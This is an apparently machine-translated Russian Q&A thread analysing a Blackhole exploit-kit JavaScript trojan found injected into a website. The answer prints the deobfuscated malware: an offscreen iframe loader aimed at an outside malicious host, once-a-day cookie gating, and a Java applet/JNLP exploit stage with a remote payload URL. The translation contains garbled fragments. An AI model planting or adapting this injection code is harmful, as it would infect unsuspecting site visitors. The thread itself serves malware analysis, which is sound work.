Вредоносная инъекция / перенаправление Javascript с помощью тегов комментариев XML (JS/Exploit-Blacole.ЭМ)

недавно я наткнулся на веб-сайт, который внутри своей HTML-разметки имел встроенный троянец JS. Название McAfee является Яш/с Exploit-blacole В.em, имя F-Secure-Trojan:JS/Agent, а имя MS-Trojan:JS/Quidvetis.А.

теперь, из любопытства, я взглянул на исходный код трояна (только для вашей справки, я разместил копию на pastebin, смотрите здесь http://pastebin.com/PsLaE4d9).

что заставило меня задуматься, это часть на сайте McAfee (http://home.mcafee.com/virusinfo/virusprofile.aspx?key=1317346#none, перейдите на вкладку "характеристики вирусов"), указав

кроме того, это обнаружение использует следующие последние методы инъекций для подключения к случайно сгенерированному вредоносному домену. <!--81a338--><!--/81a338-->

сам троянец, похоже, вводит тег iframe в разметку и загружает некоторую вредоносную страницу.

в любом случае, мой вопрос в том, какая часть делает эти XML комментарий теги играть? Обязательно должна быть причина, по которой они упоминаются в статье McAfee? Кроме того, возможно ли каким-то образом де-запутать код JS и преобразовать его во что-то читаемое человеком? Опять же, это просто из любопытства. Я просто хочу знать, что здесь происходит.

1 ответов


посмотреть здесь

http://wepawet.iseclab.org/view.php?hash=86b656e6ad9d7331acc01a80bf89c6b5&type=js

http://jsunpack.jeek.org/?report=87803db7e6a4d9d0b6190cd5054beda64e3784dd

http://urlquery.net/index.php

эти инструменты помогут вам проанализировать код

это полное извлечение и unobfuscated код:

function r09(){
  var static = 'ajax';
  var controller = 'index.php';
  var r = document.createElement('iframe');
  r.src = 'http://ecurie80.hostzi.com/Felenne12/clik.php';
  r.style.position = 'absolute';
  r.style.color = '6675';
  r.style.height = '6675px';
  r.style.width = '6675px';
  r.style.left = '10006675';
  r.style.top = '10006675';
  if (!document.getElementById('r')){
    document.write('<p id=\'r\' class=\'r09\' ></p>');
    document.getElementById('r').appendChild(r);
  }
}
function SetCookie(cookieName, cookieValue, nDays, path){
  var today = new Date();
  var expire = new Date();
  if (nDays == null || nDays == 0)nDays = 1;
  expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
  toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
  var start = document.cookie.indexOf(name + "=");
  var len = start + name.length + 1;
  if ((!start) && (name != document.cookie.substring(0, name.length))){
    return null;
  }
  if (start ==  - 1)return null;
  var end = document.cookie.indexOf(";", len);
  if (end ==  - 1)end = document.cookie.length;
  return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
  if (GetCookie('visited_uq') == 55){
  }
  else {
    SetCookie('visited_uq', '55', '1', '/');
    r09();
  }
}

этот код создает iframe и выталкивает его из вида

код просто запускается один раз в день с помощью cookie

http://jsunpack.jeek.org/ также является отличным инструментом, который используется многими исследователями безопасности (например, Брайан Кребс?)

Iframe загружает эксплойт Java и пытается запустить его:

 var FPLYKJoQG = {
 WdBxtaXWsGnJRm: function (PseXOSDnXPAXRRnkHZs) {
     var FIZdpsWVSgyPuFKU = document;
     FIZdpsWVSgyPuFKU.write(PseXOSDnXPAXRRnkHZs);
 },
  wWgsxtVAofesbJwDAY: function (xPTKZBm) {
     return xPTKZBm.replace(/355/g, '')
 }
}; 
var SuOmy = FPLYKJoQG.wWgsxtVAofesbJwDAY('355Ja355355355355va355355355355355355355355'); 
var CHHBPE = z.vvv( SuOmy  ).split(','); 
var BZTlEHUaD = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355j355355355n355355355355355355355355355355355355355355l355p355355355355355355355355355'); 
var ZNZXaZkfijhQTihemz = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355355355355ap355355355355355355355355pl355355355355355355355355355355e355355355355355355t'); 
if (CHHBPE[1] == 7 && CHHBPE[3] > 9) { 
 FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" width="10"><param name="' + BZTlEHUaD + '_href" value="d5xs6x0pt9tk85s.jnlp" /><param name="' + BZTlEHUaD + '_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCj&#120;qbm&#120;wIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbm&#120;wIiBzcGVjPSI&#120;LjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdG&#120;lPjN5ZE5NQW1PSmlLYlN&#120;RmJZMEl0THM8L3RpdG&#120;lPg0KICAgID&#120;2ZW5kb3I+VzRBcGFXZng&#120;UWwwMXRMbmR1TWFacVpzVG&#120;ISlBBVHF4anhNTWY&#120;RG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSI&#120;LjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YW&#120;seS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dG&#120;nLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2&#120;hc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+" /><param name="&#100;uFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
} else {
 FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + '  height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class" archive="/gossip_usually.jar" width="10"><param name="&#100;uFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
}

d5xs6x0pt9tk85s нагрузки.jnlp и выполнить его

<applet height="10" width="10"><param name="jnlp_href" value="d5xs6x0pt9tk85ss.jnlp"><param name="jnlp_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+"><param name="duFJfXw" value="http://aussteigende.tommeade.coms:1024/sequence-backwards.txt?e=21"></applet>

или если это невозможно загрузить gossip_usually.файл jar и загрузка/выполнение wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.класс:

<applet height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbjs.class" archive="/gossip_usuallys.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeades.com:1024/sequence-backwards.txt?e=21"></applet>